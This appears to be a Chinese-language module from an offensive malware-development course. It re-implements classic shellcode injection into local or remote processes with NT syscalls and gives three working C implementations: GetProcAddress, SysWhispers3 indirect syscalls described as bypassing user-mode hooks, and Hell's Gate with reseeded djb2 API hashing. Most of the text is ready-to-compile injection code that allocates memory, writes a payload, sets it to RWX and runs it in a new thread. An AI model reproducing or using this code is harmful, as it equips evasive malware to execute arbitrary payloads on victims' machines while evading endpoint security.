67-系统调用 - 重新实现经典注入
导言
在本文档中,我们将通过直接使用系统调用来实现此前讨论过的传统进程注入技术,用系统调用替代 WinAPI。
VirtualAlloc/Ex
已被 NtAllocateVirtualMemory 代替VirtualProtect/Ex
已被 NtProtectVirtualMemory 代替WriteProcessMemory
已被 NtWriteVirtualMemory 代替CreateThread/RemoteThread
已被 NtCreateThreadEx 代替
必需的系统调用
本部分将介绍使用的必需系统调用,并说明其参数。
NtAllocateVirtualMemory
这是 VirtualAlloc
和 VirtualAllocEx
WinAPI 的结果系统调用。NtAllocateVirtualMemory
如下所示。
NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle, // 进程句柄,用于在其中分配内存
IN OUT PVOID *BaseAddress, // 分配的内存基址
IN ULONG_PTR ZeroBits, // 始终设置为 '0'
IN OUT PSIZE_T RegionSize, // 要分配的内存大小
IN ULONG AllocationType, // MEM_COMMIT | MEM_RESERVE
IN ULONG Protect // 页面保护
);
NtAllocateVirtualMemory
与 VirtualAllocEx
WinAPI 类似,但不同之处在于 RegionSize
和 BaseAddress
都通过引用传递,使用运算符 (&) 的地址。ZeroBits
是一个新引入的参数,定义为节视图基地址中必须为零的高阶地址位数。此参数始终设置为零。
RegionSize
参数被标记为 IN 且 OUT 参数。这是因为 RegionSize
的值可能会根据实际分配的内容而改变。Microsoft 指出,RegionSize
的初始值指定区域的大小(以字节为单位),并向上舍入到下一个主机页面大小边界。这意味着 NtAllocateVirtualMemory
向上舍入到页面大小的最近倍数,即 4096 字节。例如,如果 RegionSize
设置为 5000 字节,它会向上舍入为 8192,而 RegionSize
会返回已分配的值,在本例中为 8192。
如前文在早期的模块中提到的,所有系统调用都返回 NTSTATUS
。如果成功,它将被设置为 STATUS_SUCCESS
(0)。否则,如果系统调用 失败,则会返回非零值。
NtProtectVirtualMemory 函数
这是 VirtualProtect 和 VirtualProtectEx WinAPI 的底层系统调用。NtProtectVirtualMemory 的声明如下:
NTSTATUS NtProtectVirtualMemory(
IN HANDLE ProcessHandle, // 需要更改内存保护的进程句柄
IN OUT PVOID *BaseAddress, // 需要保护的基地址指针
IN OUT PULONG NumberOfBytesToProtect, // 需要保护的区域大小指针
IN ULONG NewAccessProtection, // 要设置的新内存保护属性
OUT PULONG OldAccessProtection // 用于接收以前访问保护属性的变量指针
);
BaseAddress
和 NumberOfBytesToProtect
参数都是通过引用传递,使用“地址的”运算符 (&)。
NumberOfBytesToProtect
参数的行为与 NtAllocateVirtualMemory
中的 RegionSize
参数类似,它会将字节数向上舍入到最接近的页面大小。
NtWriteVirtualMemory
NtWriteVirtualMemory
是WriteProcessMemory
WinAPI调用所引发的系统调用。NtWriteVirtualMemory
如下所示:
NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle, // 要写入其内存的进程句柄
IN PVOID BaseAddress, // 指定进程中要写入数据的基址
IN PVOID Buffer, // 要写入的数据
IN ULONG NumberOfBytesToWrite, // 要写入的字节数
OUT PULONG NumberOfBytesWritten // 指向实际写入的字节数的变量的指针
);
NtWriteVirtualMemory
的参数与其 WinAPI 版本 WriteProcessMemory
的参数相同。
NtCreateThreadEx
这是 CreateThread
、CreateRemoteThread
和 CreateRemoteThreadEx
WinAPI 的结果系统调用。NtCreateThreadEx
如下所示。
NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle, // 指向接收创建的线程句柄的 HANDLE 变量的指针
IN ACCESS_MASK DesiredAccess, // 线程的访问权限(设置为 THREAD_ALL_ACCESS - 0x1FFFFF)
IN POBJECT_ATTRIBUTES ObjectAttributes, // 指向 OBJECT_ATTRIBUTES 结构的指针(设置为 NULL)
IN HANDLE ProcessHandle, // 要在其中创建线程的进程的句柄。
IN PVOID StartRoutine, // 要执行的应用程序定义函数的基址
IN PVOID Argument, // 指向要传递给线程函数的变量的指针(设置为 NULL)
IN ULONG CreateFlags, // 控制线程创建的标志(设置为 NULL)
IN SIZE_T ZeroBits, // 设置为 NULL
IN SIZE_T StackSize, // 设置为 NULL
IN SIZE_T MaximumStackSize, // 设置为 NULL
IN PPS_ATTRIBUTE_LIST AttributeList // 指向 PS_ATTRIBUTE_LIST 结构的指针(设置为 NULL)
);
NtCreateThreadEx
与 CreateRemoteThreadEx
WinAPI 类似。NtCreateThreadEx
是个非常灵活的系统调用,可以复杂地操作创建的线程。然而,出于我们的目的,它的多数参数都将被设置为 NULL
。
使用 GetProcAddress 和 GetModuleHandle 实现
将通过多种方法调用系统调用,首先是常用的 WinAPI GetProcAddress
和 GetModuleHandle
。此技术非常直接,已多次用于动态调用系统调用。然而,如前所述,此方法不会绕过安装在系统调用上的任何用户层钩子。
在本模块中提供的可下载代码中,使用 InitializeSyscallStruct
创建并初始化了一个 Syscall
结构,其中包含所用系统调用的地址,如下所示。
// 保存已用系统调用的结构
typedef struct _Syscall {
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtProtectVirtualMemory pNtProtectVirtualMemory;
fnNtWriteVirtualMemory pNtWriteVirtualMemory;
fnNtCreateThreadEx pNtCreateThreadEx;
} Syscall, *PSyscall;
// 用于填充输入“St”结构的函数
BOOL InitializeSyscallStruct (OUT PSyscall St) {
HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
printf("[!] GetModuleHandle 失败,错误代码:%d \n", GetLastError());
return FALSE;
}
St->pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
St->pNtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
St->pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
St->pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
// 检查 GetProcAddress 是否错过了系统调用
if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtCreateThreadEx == NULL)
return FALSE;
else
return TRUE;
}
接下来,ClassicInjectionViaSyscalls
函数将负责在目标进程 hProcess
中执行有效载荷 pPayload
。如果函数无法执行有效载荷,则返回 FALSE
;如果成功执行,则返回 TRUE
。此外,根据 hProcess
的值,该函数可用于注入本地和远程进程。
BOOL ClassicInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
Syscall St = { 0 };
NTSTATUS STATUS = 0x00;
PVOID pAddress = NULL;
ULONG uOldProtection = NULL;
SIZE_T sSize = sPayloadSize,
sNumberOfBytesWritten = NULL;
HANDLE hThread = NULL;
// 初始化“St”结构以获取系统调用的地址
if (!InitializeSyscallStruct(&St)){
printf("[!] 无法初始化系统调用结构\n");
return FALSE;
}
//--------------------------------------------------------------------------
// 分配内存
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 已在 0x%p 分配 %d 大小的地址\n", pAddress, sSize);
printf("[#] 按 <Enter> 写入有效载荷 ... ");
getchar();
//--------------------------------------------------------------------------
// 写入有效载荷
printf("\t[i] 正在写入 %d 大小的有效载荷 ... ", sPayloadSize);
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
printf("[!] pNtWriteVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
printf("[i] 已写入字节数:%d/%d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
printf("[+] 完成\n");
//--------------------------------------------------------------------------
// 将内存权限更改为 RWX
if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
printf("[!] NtProtectVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
//--------------------------------------------------------------------------
// 通过线程执行有效载荷
printf("[#] 按 <Enter> 运行有效载荷 ... ");
getchar();
printf("\t[i] 正在运行入口为 0x%p 的线程 ... ", pAddress);
if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 完成\n");
printf("\t[+] 已创建线程,ID 为:%d \n", GetThreadId(hThread));
return TRUE;
}
有效负载大小和向上取整
请注意,NtAllocateVirtualMemory
会将 RegionSize
的值向上取整为 4096 的倍数。由于对大小的向上取整,在分配内存和写入内存时使用相同有效负载大小变量时必须小心,因为这会导致写入的字节比预期更多。这就是上述代码为 NtAllocateVirtualMemory
和 NtWriteVirtualMemory
使用单独的大小变量的原因。
在下面的代码片段中演示了这个问题。
// sPayloadSize 为有效负载大小(272 字节)
// 分配内存
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sPayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
return FALSE;
}
// sPayloadSize 的值现在为 4096
// 将有效负载写入 sPayloadSize(NumberOfBytesToWrite)为 4096 而不是原始大小
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0) {
return FALSE;
}
使用 SysWhispers 实现
本文的实现使用 SysWhispers3 通过间接系统调用绕过用户程序钩子。以下命令用于生成此实现所需的文档。
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o SysWhispers -v
生成了三个文件:SysWhispers.h
、SysWhispers.c
和 SysWhispers-asm.x64.asm
。下一步是按照 SysWhisper's 自述文件 中所述将这些文件导入 Visual Studio。以下演示具体步骤。
步骤 1
将生成的 .h 和 .cpp 文件复制到项目文件夹,然后将它们作为现有项添加到 Visual Studio 项目中。
步骤 2
在项目中启用 MASM 以允许编译生成的汇编代码。
MASM:Microsoft 汇编器
步骤 3
修改属性,使用“Microsoft Macro Assembler”编译 ASM 文件。
第 4 步
Visual Studio 项目现在可以编译。以下显示了 ClassicInjectionViaSyscalls
函数。
BOOL ClassicInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
NTSTATUS STATUS = 0x00;
PVOID pAddress = NULL;
ULONG uOldProtection = NULL;
SIZE_T sSize = sPayloadSize,
sNumberOfBytesWritten = NULL;
HANDLE hThread = NULL;
// 分配内存
if ((STATUS = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory 错误:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 在地址 0x%p 分配大小 %d 的内存 \n", pAddress, sSize);
printf("[#] 按 <Enter> 键写入载荷 ... ");
getchar();
//--------------------------------------------------------------------------
// 写入载荷
printf("\t[i] 写入大小为 %d 的载荷 ... ", sPayloadSize);
if ((STATUS = NtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
printf("[!] pNtWriteVirtualMemory 错误:0x%0.8X \n", STATUS);
printf("[i] 已写入 %d 个字节,总共 %d 个字节 \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
printf("[+] 已完成 \n");
//--------------------------------------------------------------------------
// 将内存权限更改为 RWX
if ((STATUS = NtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
printf("[!] NtProtectVirtualMemory 错误:0x%0.8X \n", STATUS);
return FALSE;
}
//--------------------------------------------------------------------------
// 通过线程执行载荷
printf("[#] 按 <Enter> 键运行载荷 ... ");
getchar();
printf("\t[i] 运行入口点为 0x%p 的线程 ... ", pAddress);
if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx 错误:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 已完成 \n");
printf("\t[+] 已创建线程,ID 为:%d \n", GetThreadId(hThread));
return TRUE;
}
通过 Hell's Gate 实现
该模块的最后实现是使用 Hell's Gate。首先,确保对使用 SysWhispers3 的 Visual Studio 项目所执行的相同步骤在此处也执行了。具体而言,启用 MASM 并修改属性以将 ASM 文件设置为使用 Microsoft 宏汇编器编译。
更改注入函数
需要对 Hell's Gate 代码做出一些更改,首先,需要以 ClassicInjectionViaSyscalls
函数替换注入函数。
BOOL ClassicInjectionViaSyscalls(
IN PVX_TABLE pVxTable,
IN HANDLE hProcess,
IN PBYTE pPayload,
IN SIZE_T sPayloadSize
) {
NTSTATUS STATUS = 0x00;
PVOID pAddress = NULL;
ULONG uOldProtection = NULL;
SIZE_T sSize = sPayloadSize,
sNumberOfBytesWritten = NULL;
HANDLE hThread = NULL;
// 分配内存
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 已分配内存地址:0x%p 大小为:%d \n", pAddress, sSize);
printf("[#] 按 <Enter> 写入注入代码 ... ");
getchar();
//--------------------------------------------------------------------------
// 写入注入代码
printf("\t[i] 写入大小为 %d 的注入代码 ... ", sPayloadSize);
HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
printf("[!] pNtWriteVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
printf("[i] 已写入的字节数:%d/%d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
printf("[+] 完成 \n");
//--------------------------------------------------------------------------
// 更改内存权限为 RWX
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
printf("[!] NtProtectVirtualMemory 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
//--------------------------------------------------------------------------
// 通过线程执行注入代码
printf("[#] 按 <Enter> 运行注入代码 ... ");
getchar();
printf("\t[i] 运行入口点为 0x%p 的线程 ... ", pAddress);
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx 失败,错误代码:0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] 完成 \n");
printf("\t[+] 已创建线程,ID 为:%d \n", GetThreadId(hThread));
return TRUE;
}
更新 VX_TABLE 结构
接下来,需要使用如下所示的系统调用名称更新 VX_TABLE 结构。
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory; // NtAllocateVirtualMemory 系统调用
VX_TABLE_ENTRY NtWriteVirtualMemory; // NtWriteVirtualMemory 系统调用
VX_TABLE_ENTRY NtProtectVirtualMemory; // NtProtectVirtualMemory 系统调用
VX_TABLE_ENTRY NtCreateThreadEx; // NtCreateThreadEx 系统调用
} VX_TABLE, * PVX_TABLE;
更新种子值
一个新的种子值将用来替换 旧的种子值 以更改系统调用的哈希值。djb2 哈希函数已使用以下新种子值更新。
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x77347734DEADBEEF; // 旧值: 0x7734773477347734
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
将以下 printf
语句添加到新项目中以生成 djb2 哈希值。
printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtAllocateVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtWriteVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtProtectVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));
生成哈希值后,将它们添加到 Hell's Gate 项目的开头。
#define NtAllocateVirtualMemory_djb2 0x7B2D1D431C81F5F6
#define NtWriteVirtualMemory_djb2 0x54AEE238645CCA7C
#define NtProtectVirtualMemory_djb2 0xA0DCC2851566E832
#define NtCreateThreadEx_djb2 0x2786FB7E75145F1A
更新主函数
主函数必须更新为调用 ClassicInjectionViaSyscalls
,而不是 payload 函数。该函数将使用上述生成的哈希,如下所示。
INT main() {
// 获取 PEB 结构
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
// 获取 NTDLL 模块
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// 获取 Ntdll 的 EAT
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
//--------------------------------------------------------------------------
// 初始化“表”结构
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = NtAllocateVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtWriteVirtualMemory.dwHash = NtWriteVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = NtProtectVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = NtCreateThreadEx_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
//--------------------------------------------------------------------------
// 注入代码 - 调用“ClassicInjectionViaSyscalls”函数
// 如果是本地注入
#ifdef LOCAL_INJECTION
if (!ClassicInjectionViaSyscalls(&Table, (HANDLE)-1, Payload, sizeof(Payload)))
return 0x1;
#endif // LOCAL_INJECTION
// 如果是远程注入
#ifdef REMOTE_INJECTION
// 打开目标进程句柄
printf("[i] 正在针对进程 ID 为 %d 的进程\n", PROCESS_ID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
if (hProcess == NULL) {
printf("[!] OpenProcess 失败,错误代码:%d\n", GetLastError());
return -1;
}
if (!ClassicInjectionViaSyscalls(&Table, hProcess, Payload, sizeof(Payload)))
return 0x1;
#endif // REMOTE_INJECTION
return 0x00;
}
本地注入与远程注入
由于实现的 ClassicInjectionViaSyscalls
可以在本地进程和远程进程级别上工作,因此构造了一个预处理器宏代码,如果定义了 LOCAL_INJECTION
,则将目标对准本地进程。预处理代码如下所示。
#define LOCAL_INJECTION
#ifndef LOCAL_INJECTION
#define REMOTE_INJECTION
// 设置目标进程 PID
#define PROCESS_ID 18784
#endif // !LOCAL_INJECTION
可以注释掉 #define LOCAL_INJECTION
以将目标对准远程进程。在这种情况下,将以 PID 等于 PROCESS_ID
的进程为目标。如果未注释掉 #define LOCAL_INJECTION
(这是共享代码中的默认设置),则将使用本地进程的伪句柄,其等于 (HANDLE)-1
。
演示
在本地使用 SysWhispers 实现。
远程使用 SysWhispers 实现。
在本地使用 Hell's Gate 实现。
远程使用 Hell's Gate 实现。